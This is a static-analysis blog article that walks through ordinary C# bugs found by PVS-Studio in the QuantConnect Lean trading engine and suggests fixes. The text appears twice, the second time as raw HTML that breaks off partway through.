This article discusses errors found using a static analyzer in an open source project. There are some simple things that can help you avoid them. For example, the usage of language syntactic constructs starting from C# 8.0. We hope it will be exciting. Have fun reading! QuantConnect Lean is an open source algorithmic trading engine designed for easy strategy research, backtesting, and live trading. Compatible with Windows, Linux, and macOS. Integrates with prevalent data providers and brokerage companies to quickly deploy algorithmic trading strategies. The check was implemented by using the PVS-Studio static analyzer. PVS-Studio is a tool designed to detect errors and potential vulnerabilities in the source code of programs, written in C, C++, C#, and Java. ## Accidents are not accidental. [code] public virtual DateTime NextDate(....) { .... // both are valid dates, so chose one randomly if ( IsWithinRange(nextDayOfWeek, minDateTime, maxDateTime) && IsWithinRange(previousDayOfWeek, minDateTime, maxDateTime)) { return _random.Next(0, 1) == 0 // <= ? previousDayOfWeek : nextDayOfWeek; } .... } [/code] V3022 Expression '_random.Next(0, 1) == 0' is always true. RandomValueGenerator.cs 142 The bottom line was that either one or the other value was selected with a 50% probability. However, in this case, the Next method will always return 0. This happens because the second argument is not included in the range of values. That is, the value that the method can return will be in the range [0,1). Let's fix that: [code] public virtual DateTime NextDate(....) { .... // both are valid dates, so chose one randomly if ( IsWithinRange(nextDayOfWeek, minDateTime, maxDateTime) && IsWithinRange(previousDayOfWeek, minDateTime, maxDateTime)) { return _random.Next(0, 2) == 0 ? previousDayOfWeek : nextDayOfWeek; } .... } [/code] ## Passing reference-type parameters Example [code] /// <summary> /// Copy contents of the portfolio collection to a new destination. /// </summary> /// <remarks> /// IDictionary implementation calling the underlying Securities collection /// </remarks> /// <param name="array">Destination array</param> /// <param name="index">Position in array to start copying</param> public void CopyTo(KeyValuePair<Symbol, SecurityHolding>[] array, int index) { array = new KeyValuePair<Symbol, SecurityHolding>[Securities.Count]; var i = 0; foreach (var asset in Securities) { if (i >= index) { array[i] = new KeyValuePair<Symbol,SecurityHolding>(asset.Key, asset.Value.Holdings); } i++; } } [/code] V3061 Parameter 'array' is always rewritten in method body before being used. SecurityPortfolioManager.cs 192 The method accepts the collection and immediately overwrites its value. Accept that this looks rather suspiciously. So, let's try to understand what this method must do. According to the comment and the method's name, it becomes clear that another array must be copied to the array passed. However, this will not happen, and the value of the array outside the current method will remain unchanged. It happens because the array argument will be passed to the method by value, not by reference. Thus, when the assign operation is done, the array variable accessible inside the method will store a reference to the new object. The argument value passed to the method will remain unchanged. To fix this, the reference type argument must be passed by reference: [code] public void CopyTo(out KeyValuePair<Symbol, SecurityHolding>[] array, // <= int index) { array = new KeyValuePair<Symbol, SecurityHolding>[Securities.Count]; .... } [/code] Since we are certainly creating a new array in the method, the out modifier must be used instead of ref. This immediately indicates that the variable inside will be assigned a value. By the way, this case enlarges the collection of my colleague, Andrey Karpov, you can learn about it from the article "Getting started collecting errors in copy functions". ## Unbinding the resources [code] public static string ToSHA256(this string data) { var crypt = new SHA256Managed(); var hash = new StringBuilder(); var crypto = crypt.ComputeHash(Encoding.UTF8.GetBytes(data), 0, Encoding.UTF8.GetByteCount(data)); foreach (var theByte in crypto) { hash.Append(theByte.ToStringInvariant("x2")); } return hash.ToString(); } [/code] V3114 IDisposable object 'crypt' is not disposed before method returns. Extensions.cs 510 To understand the meaning of this diagnostic, let's first recall a little bit of theory. If you don't mind, I will take information from the documentation for this diagnostic: "The garbage collector automatically unbinds the memory associated with a controlled object if it is no longer in use and there are no visible references to it. However, we can't say for sure when exactly the garbage collection will occur (unless you call it manually). In addition, the garbage collector does not have information about unmanaged resources such as handles, windows, or open files and threads. The Dispose method is usually used to unbind such unmanaged resources". In other words, we have created a crypt variable of the SHA256Managed type, which implements the IDisposable interface. As a result, when we exit the method, the potentially captured resources will not be released. To prevent this, I recommend choosing using. The Dispose method is activated automatically upon reaching the closing curly bracket associated with the using instruction. Let's take a look at this: [code] public static string ToSHA256(this string data) { using (var crypt = new SHA256Managed()) { var hash = new StringBuilder(); .... } } [/code] But if you don't like curly brackets, then in C# 8.0 you can write like this: [code] public static string ToSHA256(this string data) { using var crypt = new SHA256Managed(); var hash = new StringBuilder(); .... } [/code] The difference with the previous version is that the Dispose method is activated when the closing curly bracket of the method is reached. This is the end of the piece where crypt is declared. ## Real numbers [code] public bool ShouldPlot { get { .... if (Time.TimeOfDay.Hours < 10.25) return true; .... } } public struct TimeSpan : IComparable, IComparable<TimeSpan>, IEquatable<TimeSpan>, IFormattable { .... public double TotalHours { get; } public int Hours { get; } .... } [/code] V3040 The '10.25' literal of the 'double' type is compared to a value of the 'int' type. OpeningBreakoutAlgorithm.cs 426 It looks strange that in the condition the value of an int variable is compared with a double-type literal. This looks odd and another variable is clearly supposed to be here. And, indeed, if you check out which similarly named fields TimeOfDay has, we will find: [code] public double TotalHours { get; } [/code] The code probably should look like this: [code] public bool ShouldPlot { get { .... if (Time.TimeOfDay.TotalHours < 10.25) return true; .... } } [/code] Also keep in mind that you mustn't check floating-point numbers for direct equality ("==", "!="). And don't forget about typecasting. ## Switch statement Tip 1 [code] public IEnumerable<TradingDay> GetDaysByType(TradingDayType type, DateTime start, DateTime end) { Func<TradingDay, bool> typeFilter = day => { switch (type) // <= { case TradingDayType.BusinessDay: return day.BusinessDay; case TradingDayType.PublicHoliday: return day.PublicHoliday; case TradingDayType.Weekend: return day.Weekend; case TradingDayType.OptionExpiration: return day.OptionExpirations.Any(); case TradingDayType.FutureExpiration: return day.FutureExpirations.Any(); case TradingDayType.FutureRoll: return day.FutureRolls.Any(); case TradingDayType.SymbolDelisting: return day.SymbolDelistings.Any(); case TradingDayType.EquityDividends: return day.EquityDividends.Any(); }; return false; }; return GetTradingDays(start, end).Where(typeFilter); } [/code] V3002 The switch statement does not cover all values of the 'TradingDayType' enum: EconomicEvent. TradingCalendar.cs 79 The type of the variable type is TradingDayType, and it is enum: [code] public enum TradingDayType { BusinessDay, PublicHoliday, Weekend, OptionExpiration, FutureExpiration, FutureRoll, SymbolDelisting, EquityDividends, EconomicEvent } [/code] If you count, you will see that there are 9 elements in the enumeration, but only 8 are checked in switch. Such situation could happen due to code extension. To prevent this, I always recommend explicitly using default: [code] public IEnumerable<TradingDay> GetDaysByType(TradingDayType type, DateTime start, DateTime end) { Func<TradingDay, bool> typeFilter = day => { switch (type) { .... default: return false; }; }; return GetTradingDays(start, end).Where(typeFilter); } [/code] As you may have noticed, the return statement that stood after the switch moved to the default section. In this case, the program's logic has not changed, but I still recommend writing it this way. Code extensibility is the reason for it. In the case of the original, it's possible to safely add some logic before return false, without suspecting that this is the default of the switch statement. Now everything is evident and clear. However, if you think that only part of the enumeration elements should always be processed in your case, you can throw an exception: [code] default: throw new CustomExeption("Invalid enumeration element"); [/code] Personally, I got hooked on this syntactic sugar C# 8.0: [code] Func<TradingDay, bool> typeFilter = day => { return type switch { TradingDayType.BusinessDay => day.BusinessDay, TradingDayType.PublicHoliday => day.PublicHoliday, TradingDayType.Weekend => day.Weekend, TradingDayType.OptionExpiration => day.OptionExpirations.Any(), TradingDayType.FutureExpiration => day.FutureExpirations.Any(), TradingDayType.FutureRoll => day.FutureRolls.Any(), TradingDayType.SymbolDelisting => day.SymbolDelistings.Any(), TradingDayType.EquityDividends => day.EquityDividends.Any(), _ => false }; }; [/code] Tip 2 [code] public string[] GetPropertiesBy(SecuritySeedData type) { switch (type) { case SecuritySeedData.None: return new string[0]; case SecuritySeedData.OpenInterest: return new[] { "OpenInterest" }; // <= case SecuritySeedData.OpenInterestTick: return new[] { "OpenInterest" }; // <= case SecuritySeedData.TradeTick: return new[] {"Price", "Volume"}; .... case SecuritySeedData.Fundamentals: return new string[0]; default: throw new ArgumentOutOfRangeException(nameof(type), type, null); } } [/code] V3139 Two or more case-branches perform the same actions. SecurityCacheTests.cs 510 In two different cases, the same value is returned. It looks very suspicious in such a form. It feels like someone copied, pasted and forgot to change the code. Therefore, here's my advice: if the same logic must be performed for different values, then combine the case that way: [code] public string[] GetPropertiesBy(SecuritySeedData type) { switch (type) { case SecuritySeedData.None: return new string[0]; case SecuritySeedData.OpenInterest: case SecuritySeedData.OpenInterestTick: return new[] { "OpenInterest" }; .... } } [/code] This clearly indicates what we want and removes an extra line as well. :) ## If statement Example 1 [code] [TestCaseSource(nameof(DataTypeTestCases))] public void HandlesAllTypes<T>(....) where T : BaseData, new() { .... if ( symbol.SecurityType != SecurityType.Equity || resolution != Resolution.Daily || resolution != Resolution.Hour) { actualPricePointsEnqueued++; dataPoints.Add(dataPoint); } .... } [/code] V3022 Expression 'symbol.SecurityType != SecurityType.Equity || resolution != Resolution.Daily || resolution != Resolution.Hour' is always true. LiveTradingDataFeedTests.cs 1431 The condition is always true. After all, in order to have the condition failed, the variable resolution must have the Resolution.Daily value and Resolution.Hour at a time. A possible fixed variant: [code] [TestCaseSource(nameof(DataTypeTestCases))] public void HandlesAllTypes<T>(....) where T : BaseData, new() { .... if ( symbol.SecurityType != SecurityType.Equity || ( resolution != Resolution.Daily && resolution != Resolution.Hour)) { actualPricePointsEnqueued++; dataPoints.Add(dataPoint); } .... } [/code] Some tips for the if statement. When there is a condition that consists entirely of "||" operators, then after writing, verify whether the same variable is checked for inequality to something else several times in a row. The situation is similar in the condition with the "&&" operator. If a variable is checked for equality to something repeatedly, it is most likely to be a logical error. Also, if you write a compound condition, and it contains "&&"and "||", do not hesitate to put parentheses. This can help you either to see an error or to avoid it. Example 2 [code] public static string SafeSubstring(this string value, int startIndex, int length) { if (string.IsNullOrEmpty(value)) { return value; } if (startIndex > value.Length - 1) { return string.Empty; } if (startIndex < -1) { startIndex = 0; } return value.Substring(startIndex, Math.Min(length, value.Length - startIndex)); } [/code] V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the first argument. StringExtensions.cs 311 According to the analyzer the value -1 can be passed as the first argument of the Substring method. This will cause an exception of the type System.ArgumentOutOfRangeException. Let's see why this value can be obtained. In this example, we take no interest in the first two conditions, so they will be omitted in the reasoning. The startIndex parameter has the int type, so its values are in the [-2147483648, 2147483647] range. Therefore, to prevent bounds violation, the developer wrote the following condition: [code] if (startIndex < -1) { startIndex = 0; } [/code] That is, it was assumed that if a negative value was received, we would simply change it to 0. But instead of "<=" they wrote "<", and now the range's lower limit of the startIndex variable (from the analyzer's point of view) is -1. In these situations, I suggest using a construction like this: [code] if (variable < value) { variable = value; } [/code] This combination is much easier to read, since it involves one less value. So, I suggest you fix the problem like this: [code] public static string SafeSubstring(....) { .... if (startIndex < 0) { startIndex = 0; } return value.Substring(startIndex, Math.Min(length, value.Length - startIndex)); } [/code] You can say that we could have just changed the sign in the condition in the initial example: [code] if (startIndex <= -1) { startIndex = 0; } [/code] The error also disappears. However, the logic will look like this: [code] if (variable <= value - 1) { variable = value; } [/code] Agree that it looks overloaded. Example 3 [code] public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; var futureMarginModel = buyingPowerModel as FutureMarginModel; if (buyingPowerModel == null) { throw new Exception($"Invalid buying power model. " + $"Found: {buyingPowerModel.GetType().Name}. " + $"Expected: {nameof(FutureMarginModel)}"); } .... } [/code] V3080 Possible null dereference. Consider inspecting 'buyingPowerModel'. BasicTemplateFuturesAlgorithm.cs 107 V3019 Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'buyingPowerModel', 'futureMarginModel'. BasicTemplateFuturesAlgorithm.cs 105 A very interesting fragment. The analyzer issues two warnings at once. And in fact, they contain the problem and its cause. Firstly, let's see what happens if the condition is met. Since buyingPowerModel will be strictly null inside, dereferencing will occur: [code] $"Found: {buyingPowerModel.GetType().Name}. " [/code] The reason is that the condition has a wrong variable compared to null. It's obvious that futureMarginModel should be written instead of buyingPowerModel. A fixed version: [code] public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; var futureMarginModel = buyingPowerModel as FutureMarginModel; if (futureMarginModel == null) { throw new Exception($"Invalid buying power model. " + $"Found: {buyingPowerModel.GetType().Name}. " + $"Expected: {nameof(FutureMarginModel)}"); } .... } [/code] However, there is still a problem with dereferencing buyingPowerModel inside the condition. After all, futureMarginModel will be null not only when it is not FutureMarginModel, but also when buyingPowerModel is null. So I suggest this version: [code] public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; var futureMarginModel = buyingPowerModel as FutureMarginModel; if (futureMarginModel == null) { string foundType = buyingPowerModel?.GetType().Name ?? "the type was not found because the variable is null"; throw new Exception($"Invalid buying power model. " + $"Found: {foundType}. " + $"Expected: {nameof(FutureMarginModel)}"); } .... } [/code] Personally, I have recently got to like writing such constructions using is. So the code becomes shorter and it is more difficult to make a mistake. This example is completely similar to the example above: [code] public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; if (!(buyingPowerModel is FutureMarginModel futureMarginModel)) { .... } .... } [/code] Moreover, in C# 9.0 we will be able to write the keyword not: [code] public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; if (buyingPowerModel is not FutureMarginModel futureMarginModel) { .... } .... } [/code] Example 4 [code] public static readonly Dictionary<....> FuturesExpiryDictionary = new Dictionary<....>() { .... if (twoMonthsPriorToContractMonth.Month == 2) { lastBusinessDay = FuturesExpiryUtilityFunctions .NthLastBusinessDay(twoMonthsPriorToContractMonth, 1); } else { lastBusinessDay = FuturesExpiryUtilityFunctions .NthLastBusinessDay(twoMonthsPriorToContractMonth, 1); } .... } [/code] V3004 The 'then' statement is equivalent to the 'else' statement. FuturesExpiryFunctions.cs 1561 The same logic runs under different conditions. Since one of the arguments is a numeric literal, it is likely that another value may be passed. For example: [code] public static readonly Dictionary<....> FuturesExpiryDictionary = new Dictionary<....>() { .... if (twoMonthsPriorToContractMonth.Month == 2) { lastBusinessDay = FuturesExpiryUtilityFunctions .NthLastBusinessDay(twoMonthsPriorToContractMonth, 2); } else { lastBusinessDay = FuturesExpiryUtilityFunctions .NthLastBusinessDay(twoMonthsPriorToContractMonth, 1); } .... } [/code] But this is nothing more than an assumption. Here I would like to draw attention to the fact that the error occurs in the container's initialization. The size of this initialization is almost 2000 lines: Also, the code fragments inside are similar in appearance, which is logical, because here the collection is simply filled in. Therefore, be very careful when copying something in large and similar sections. Make changes at once, because then your eyes will get tired and you won't see the problem. Example 5 [code] public AuthenticationToken GetAuthenticationToken(IRestRequest request) { .... if (request.Method == Method.GET && request.Parameters.Count > 0) { var parameters = request.Parameters.Count > 0 ? string.Join(....) : string.Empty; url = $"{request.Resource}?{parameters}"; } } [/code] V3022 Expression 'request.Parameters.Count > 0' is always true. GDAXBrokerage.Utility.cs 63 The condition in the ternary operator is always true, because this check was already performed above. Now this is either a redundant check, or the "&&" and "||" operators are mixed up in the condition above. To avoid this, when you are in a condition, always keep in mind at what values you will enter it. A possible fixed variant: [code] public AuthenticationToken GetAuthenticationToken(IRestRequest request) { .... if (request.Method == Method.GET && request.Parameters.Count > 0) { var parameters = string.Join(....); url = $"{request.Resource}?{parameters}"; } } [/code] Example 6 [code] public bool Setup(SetupHandlerParameters parameters) { .... if (job.UserPlan == UserPlan.Free) { MaxOrders = 10000; } else { MaxOrders = int.MaxValue; MaximumRuntime += MaximumRuntime; } MaxOrders = job.Controls.BacktestingMaxOrders; // <= .... } [/code] V3008 The 'MaxOrders' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 244, 240. BacktestingSetupHandler.cs 244 Here, the MaxOrders variable is assigned a value twice in a row. In other words, logic with conditions is unnecessary. To fix this, we have 2 options. We either remove the assignments in the then-else branches, or the assignment after the condition. Most likely, the code is covered by tests, and the program works correctly. Therefore, we will leave only the last assignment. A possible fixed variant: [code] public bool Setup(SetupHandlerParameters parameters) { .... if (job.UserPlan != UserPlan.Free) { MaximumRuntime += MaximumRuntime; } MaxOrders = job.Controls.BacktestingMaxOrders; .... } [/code] ## Typical human failings This section will cover copy-paste errors, accidentally pressed keys, and so on. Basically, the most common problems of human imperfection. We are not robots, so these situations are typical. General recommendations on them: When copying something, make changes to the copy as soon as you paste it; review the code; use special tools that will look for errors for you. Case 1 [code] public class FisherTransform : BarIndicator, IIndicatorWarmUpPeriodProvider { private readonly Minimum _medianMin; private readonly Maximum _medianMax; public override bool IsReady => _medianMax.IsReady && _medianMax.IsReady; } [/code] V3001 There are identical sub-expressions '_medianMax.IsReady' to the left and to the right of the '&&' operator. FisherTransform.cs 72 In this example, the IsReady field must depend on two conditions, but in fact it depends on one. It's all the fault of a typo. Most likely, instead of _medianMin, _medianMax was written. A fixed version: [code] public class FisherTransform : BarIndicator, IIndicatorWarmUpPeriodProvider { private readonly Minimum _medianMin; private readonly Maximum _medianMax; public override bool IsReady => _medianMin.IsReady && _medianMax.IsReady; } [/code] Case 2 [code] public BacktestResultPacket(....) : base(PacketType.BacktestResult) { try { Progress = Math.Round(progress, 3); SessionId = job.SessionId; // <= PeriodFinish = endDate; PeriodStart = startDate; CompileId = job.CompileId; Channel = job.Channel; BacktestId = job.BacktestId; Results = results; Name = job.Name; UserId = job.UserId; ProjectId = job.ProjectId; SessionId = job.SessionId; // <= TradeableDates = job.TradeableDates; } catch (Exception err) { Log.Error(err); } } [/code] V3008 The 'SessionId' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 182, 172. BacktestResultPacket.cs 182 The class has many fields that must be initialized – many lines in the constructor. Everything is merged, and one field is initialized several times. In this case, there may be an extra initialization, or they forgot to initialize some other field. If you are interested, you can also check out other errors found by this diagnostic rule. Case 3 [code] private const string jsonWithScore = "{" + "\"id\":\"e02be50f56a8496b9ba995d19a904ada\"," + "\"group-id\":\"a02be50f56a8496b9ba995d19a904ada\"," + "\"source-model\":\"mySourceModel-1\"," + "\"generated-time\":1520711961.00055," + "\"created-time\":1520711961.00055," + "\"close-time\":1520711961.00055," + "\"symbol\":\"BTCUSD XJ\"," + "\"ticker\":\"BTCUSD\"," + "\"type\":\"price\"," + "\"reference\":9143.53," + "\"reference-final\":9243.53," + "\"direction\":\"up\"," + "\"period\":5.0," + "\"magnitude\":0.025," + "\"confidence\":null," + "\"weight\":null," + "\"score-final\":true," + "\"score-magnitude\":1.0," + "\"score-direction\":1.0," + "\"estimated-value\":1113.2484}"; private const string jsonWithExpectedOutputFromMissingCreatedTimeValue = "{" + "\"id\":\"e02be50f56a8496b9ba995d19a904ada\"," + "\"group-id\":\"a02be50f56a8496b9ba995d19a904ada\"," + "\"source-model\":\"mySourceModel-1\"," + "\"generated-time\":1520711961.00055," + "\"created-time\":1520711961.00055," + "\"close-time\":1520711961.00055," + "\"symbol\":\"BTCUSD XJ\"," + "\"ticker\":\"BTCUSD\"," + "\"type\":\"price\"," + "\"reference\":9143.53," + "\"reference-final\":9243.53," + "\"direction\":\"up\"," + "\"period\":5.0," + "\"magnitude\":0.025," + "\"confidence\":null," + "\"weight\":null," + "\"score-final\":true," + "\"score-magnitude\":1.0," + "\"score-direction\":1.0," + "\"estimated-value\":1113.2484}"; [/code] V3091 Empirical analysis. It is possible that a typo is present inside the string literal. The 'score' word is suspicious. InsightJsonConverterTests.cs 209 Sorry for the large and scary code. Here different fields have the same values. This is a classic error from the copy-paste family. Copied, fell into the muse, forgot to make changes – here's the error. Case 4 [code] private void ScanForEntrance() { var shares = (int)(allowedDollarLoss/expectedCaptureRange); .... if (ShouldEnterLong) { MarketTicket = MarketOrder(symbol, shares); .... } else if (ShouldEnterShort) { MarketTicket = MarketOrder(symbol, - -shares); // <= .... StopLossTicket = StopMarketOrder(symbol, -shares, stopPrice); .... } .... } [/code] V3075 The '-' operation is executed 2 or more times in succession. Consider inspecting the '- -shares' expression. OpeningBreakoutAlgorithm.cs 328 The unary operator "-" was used twice in a row. Thus, the value passed to the MarketOrder method remains unchanged. It's a tricky question how many unary minuses should be left here. Perhaps the prefix decrement operator "--" was meant to be here, but the space bar was accidentally pressed. There are so many variants, so one of the possible corrected options is: [code] private void ScanForEntrance() { .... if (ShouldEnterLong) { MarketTicket = MarketOrder(symbol, shares); .... } else if (ShouldEnterShort) { MarketTicket = MarketOrder(symbol, -shares); .... StopLossTicket = StopMarketOrder(symbol, -shares, stopPrice); .... } .... } [/code] Case 5 [code] private readonly SubscriptionDataConfig _config; private readonly DateTime _date; private readonly bool _isLiveMode; private readonly BaseData _factory; public ZipEntryNameSubscriptionDataSourceReader( SubscriptionDataConfig config, DateTime date, bool isLiveMode) { _config = config; _date = date; _isLiveMode = isLiveMode; _factory = _factory = config.GetBaseDataInstance(); // <= } [/code] V3005 The '_factory' variable is assigned to itself. ZipEntryNameSubscriptionDataSourceReader.cs 50 The _factory field is assigned the same value twice. There are only four fields in the class, so it's probably just a misprint. A fixed version: [code] public ZipEntryNameSubscriptionDataSourceReader(....) { _config = config; _date = date; _isLiveMode = isLiveMode; _factory = config.GetBaseDataInstance(); } [/code] ## Conclusion There are many places where you can make a mistake. We notice and fix some of them immediately. Some of them are fixed in a code review, but I recommend assigning some of them to special tools. Also, if you like such a format, please write about it. I'll do more like this. Thank you!
<div xmlns="http://www.w3.org/1999/xhtml"><div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/c03/5c9/633/c035c9633cc626bfaa3c257ef762961c.png" alt="image1.png" data-src="https://habrastorage.org/getpro/habr/post_images/c03/5c9/633/c035c9633cc626bfaa3c257ef762961c.png"/></div><br/> This article discusses errors found using a static analyzer in an open source project. There are some simple things that can help you avoid them. For example, the usage of language syntactic constructs starting from C# 8.0. We hope it will be exciting. Have fun reading! <br/> <a name="habracut"></a><br/> <a href="https://github.com/QuantConnect/Lean/">QuantConnect Lean</a> is an open source algorithmic trading engine designed for easy strategy research, backtesting, and live trading. Compatible with Windows, Linux, and macOS. Integrates with prevalent data providers and brokerage companies to quickly deploy algorithmic trading strategies. <br/> <br/> The check was implemented by using the <a href="https://www.viva64.com/en/pvs-studio/">PVS-Studio static analyzer</a>. PVS-Studio is a tool designed to detect errors and potential vulnerabilities in the source code of programs, written in C, C++, C#, and Java. <br/> <br/> <h2>Accidents are not accidental.</h2><br/> <pre><code class="cpp">public virtual DateTime NextDate(....) { .... // both are valid dates, so chose one randomly if ( IsWithinRange(nextDayOfWeek, minDateTime, maxDateTime) &amp;&amp; IsWithinRange(previousDayOfWeek, minDateTime, maxDateTime)) { return _random.Next(0, 1) == 0 // &lt;= ? previousDayOfWeek : nextDayOfWeek; } .... }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3022/">V3022</a> Expression '_random.Next(0, 1) == 0' is always true. RandomValueGenerator.cs 142<br/> <br/> The bottom line was that either one or the other value was selected with a 50% probability. However, in this case, the <i>Next</i> method will always return 0. <br/> <br/> This happens because the second argument is not included in the range of values. That is, the value that the method can return will be in the range [0,1). Let's fix that:<br/> <br/> <pre><code class="cpp">public virtual DateTime NextDate(....) { .... // both are valid dates, so chose one randomly if ( IsWithinRange(nextDayOfWeek, minDateTime, maxDateTime) &amp;&amp; IsWithinRange(previousDayOfWeek, minDateTime, maxDateTime)) { return _random.Next(0, 2) == 0 ? previousDayOfWeek : nextDayOfWeek; } .... }</code></pre><br/> <h2>Passing reference-type parameters</h2><br/> <b>Example</b><br/> <br/> <pre><code class="cpp">/// &lt;summary> /// Copy contents of the portfolio collection to a new destination. /// &lt;/summary> /// &lt;remarks> /// IDictionary implementation calling the underlying Securities collection /// &lt;/remarks> /// &lt;param name="array">Destination array&lt;/param> /// &lt;param name="index">Position in array to start copying&lt;/param> public void CopyTo(KeyValuePair&lt;Symbol, SecurityHolding>[] array, int index) { array = new KeyValuePair&lt;Symbol, SecurityHolding>[Securities.Count]; var i = 0; foreach (var asset in Securities) { if (i >= index) { array[i] = new KeyValuePair&lt;Symbol,SecurityHolding>(asset.Key, asset.Value.Holdings); } i++; } }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3061/">V3061</a> Parameter 'array' is always rewritten in method body before being used. SecurityPortfolioManager.cs 192<br/> <br/> The method accepts the collection and immediately overwrites its value. Accept that this looks rather suspiciously. So, let's try to understand what this method must do.<br/> <br/> According to the comment and the method's name, it becomes clear that another array must be copied to the array passed. However, this will not happen, and the value of the <i>array</i> outside the current method will remain unchanged.<br/> <br/> It happens because the <i>array</i> argument will be passed to the method by value, not by reference. Thus, when the assign operation is done, the <i>array</i> variable accessible inside the method will store a reference to the new object. The argument value passed to the method will remain unchanged. To fix this, the reference type argument must be passed by reference:<br/> <br/> <pre><code class="cpp">public void CopyTo(out KeyValuePair&lt;Symbol, SecurityHolding>[] array, // &lt;= int index) { array = new KeyValuePair&lt;Symbol, SecurityHolding>[Securities.Count]; .... }</code></pre><br/> Since we are certainly creating a new array in the method, the <i>out </i>modifier must be used instead of <i>ref</i>. This immediately indicates that the variable inside will be assigned a value.<br/> <br/> By the way, this case enlarges the collection of my colleague, Andrey Karpov, you can learn about it from the article "<a href="https://www.viva64.com/en/b/0723/">Getting started collecting errors in copy functions</a>".<br/> <br/> <h2>Unbinding the resources</h2><br/> <pre><code class="cpp">public static string ToSHA256(this string data) { var crypt = new SHA256Managed(); var hash = new StringBuilder(); var crypto = crypt.ComputeHash(Encoding.UTF8.GetBytes(data), 0, Encoding.UTF8.GetByteCount(data)); foreach (var theByte in crypto) { hash.Append(theByte.ToStringInvariant("x2")); } return hash.ToString(); }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3114/">V3114</a> IDisposable object 'crypt' is not disposed before method returns. Extensions.cs 510<br/> <br/> To understand the meaning of this diagnostic, let's first recall a little bit of theory. If you don't mind, I will take information from the documentation for this diagnostic: <br/> <br/> "The garbage collector automatically unbinds the memory associated with a controlled object if it is no longer in use and there are no visible references to it. However, we can't say for sure when exactly the garbage collection will occur (unless you call it manually). In addition, the garbage collector does not have information about unmanaged resources such as handles, windows, or open files and threads. The <i>Dispose</i> method is usually used to unbind such unmanaged resources". <br/> <br/> In other words, we have created a <i>crypt</i> variable of the <i>SHA256Managed</i> type, which implements the <i>IDisposable</i> interface. As a result, when we exit the method, the potentially captured resources will not be released. <br/> <br/> To prevent this, I recommend choosing <i>using</i>. The <i>Dispose</i> method is activated automatically upon reaching the closing curly bracket associated with the <i>using</i> instruction. Let's take a look at this:<br/> <br/> <pre><code class="cpp">public static string ToSHA256(this string data) { using (var crypt = new SHA256Managed()) { var hash = new StringBuilder(); .... } }</code></pre><br/> But if you don't like curly brackets, then in C# 8.0 you can write like this:<br/> <br/> <pre><code class="cpp">public static string ToSHA256(this string data) { using var crypt = new SHA256Managed(); var hash = new StringBuilder(); .... }</code></pre><br/> The difference with the previous version is that the <i>Dispose</i> method is activated when the closing curly bracket of the method is reached. This is the end of the piece where <i>crypt</i> is declared.<br/> <br/> <h2>Real numbers</h2><br/> <pre><code class="cpp">public bool ShouldPlot { get { .... if (Time.TimeOfDay.Hours &lt; 10.25) return true; .... } } public struct TimeSpan : IComparable, IComparable&lt;TimeSpan>, IEquatable&lt;TimeSpan>, IFormattable { .... public double TotalHours { get; } public int Hours { get; } .... }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3040/">V3040</a> The '10.25' literal of the 'double' type is compared to a value of the 'int' type. OpeningBreakoutAlgorithm.cs 426<br/> <br/> It looks strange that in the condition the value of an <i>int</i> variable is compared with a <i>double-type</i> literal. This looks odd and another variable is clearly supposed to be here. And, indeed, if you check out which similarly named fields <i>TimeOfDay</i> has, we will find:<br/> <br/> <pre><code class="cpp">public double TotalHours { get; }</code></pre><br/> The code probably should look like this:<br/> <br/> <pre><code class="cpp">public bool ShouldPlot { get { .... if (Time.TimeOfDay.TotalHours &lt; 10.25) return true; .... } }</code></pre><br/> Also keep in mind that <a href="https://rsdn.org/article/alg/float.xml">you mustn't check</a> floating-point numbers for direct equality ("==", "!="). And don't forget about <a href="https://www.viva64.com/en/examples/v3041/">typecasting</a>.<br/> <br/> <h2>Switch statement</h2><br/> <b>Tip 1</b><br/> <br/> <pre><code class="cpp">public IEnumerable&lt;TradingDay> GetDaysByType(TradingDayType type, DateTime start, DateTime end) { Func&lt;TradingDay, bool> typeFilter = day => { switch (type) // &lt;= { case TradingDayType.BusinessDay: return day.BusinessDay; case TradingDayType.PublicHoliday: return day.PublicHoliday; case TradingDayType.Weekend: return day.Weekend; case TradingDayType.OptionExpiration: return day.OptionExpirations.Any(); case TradingDayType.FutureExpiration: return day.FutureExpirations.Any(); case TradingDayType.FutureRoll: return day.FutureRolls.Any(); case TradingDayType.SymbolDelisting: return day.SymbolDelistings.Any(); case TradingDayType.EquityDividends: return day.EquityDividends.Any(); }; return false; }; return GetTradingDays(start, end).Where(typeFilter); }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3002/">V3002</a> The switch statement does not cover all values of the 'TradingDayType' enum: EconomicEvent. TradingCalendar.cs 79<br/> <br/> The type of the variable <i>type</i> is <i>TradingDayType</i>, and it is <i>enum</i>:<br/> <br/> <pre><code class="cpp">public enum TradingDayType { BusinessDay, PublicHoliday, Weekend, OptionExpiration, FutureExpiration, FutureRoll, SymbolDelisting, EquityDividends, EconomicEvent }</code></pre><br/> If you count, you will see that there are 9 elements in the enumeration, but only 8 are checked in <i>switch</i>. Such situation could happen due to code extension. To prevent this, I always recommend explicitly using <i>default</i>:<br/> <br/> <pre><code class="cpp">public IEnumerable&lt;TradingDay> GetDaysByType(TradingDayType type, DateTime start, DateTime end) { Func&lt;TradingDay, bool> typeFilter = day => { switch (type) { .... default: return false; }; }; return GetTradingDays(start, end).Where(typeFilter); }</code></pre><br/> As you may have noticed, the <i>return</i> statement that stood after the <i>switch</i> moved to the <i>default</i> section. In this case, the program's logic has not changed, but I still recommend writing it this way.<br/> <br/> Code extensibility is the reason for it. In the case of the original, it's possible to safely add some logic before <i>return false</i>, without suspecting that this is the <i>default</i> of the <i>switch </i>statement. Now everything is evident and clear.<br/> <br/> However, if you think that only part of the enumeration elements should always be processed in your case, you can throw an 